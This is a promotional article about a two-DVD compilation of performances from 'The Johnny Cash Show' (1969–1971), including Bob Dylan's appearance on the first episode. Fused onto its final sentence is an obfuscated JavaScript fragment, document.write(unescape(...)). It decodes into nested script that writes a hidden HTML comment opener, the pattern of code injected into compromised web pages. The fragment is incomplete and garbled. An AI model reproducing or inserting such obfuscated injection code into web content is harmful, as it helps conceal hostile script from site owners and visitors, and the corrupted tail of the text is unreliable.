Johnny Cash TV Show on DVD

At 9:30 p.m. on Saturday night, June 7, 1969, the Tennessee Three struck the opening riff of "Folsom Prison Blues," and "The Johnny Cash Show," live from the Ryman Auditorium in Nashville, made its debut as a summer replacement variety series on the ABC television network. The prospect of yet another new tv variety series was still hot news in the late '60s, and the novelty of it being hosted by The Man In Black – at the undisputed peak of newfound popularity in his career – made it even sweeter.

But the announcement that the ultra-camera-wary, reclusive Bob Dylan was to be Johnny's guest on the first show (which was actually taped on May 1st) placed the premiere on an entirely different historical platform. The two songs performed live by Dylan were both from Nashville Skyline, his brand new April LP release on Columbia – the single "I Threw It All Away," and a reprise of his duet with Cash on Bob's vintage "Girl of the North Country," which dated back to 1963, when they first met.

Those two performances, preceded by Johnny's own "Ring Of Fire," kick off THE BEST OF THE JOHNNY CASH TV SHOW, a long-overdue compilation of archived treasures from the run of 58 shows through May 1971. The collection of 66 live performances, hosted by Kris Kristofferson (whose "Loving Her Was Easier (Than Anything I'll Ever Do Again)" follows the Dylan clips), with voice-over by Will Lyman (of Frontline) has been gathered onto two DVDs and will arrive in stores September 18th on CMV/Columbia//Legacy, a division of SONY BMG MUSIC ENTERTAINMENT.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;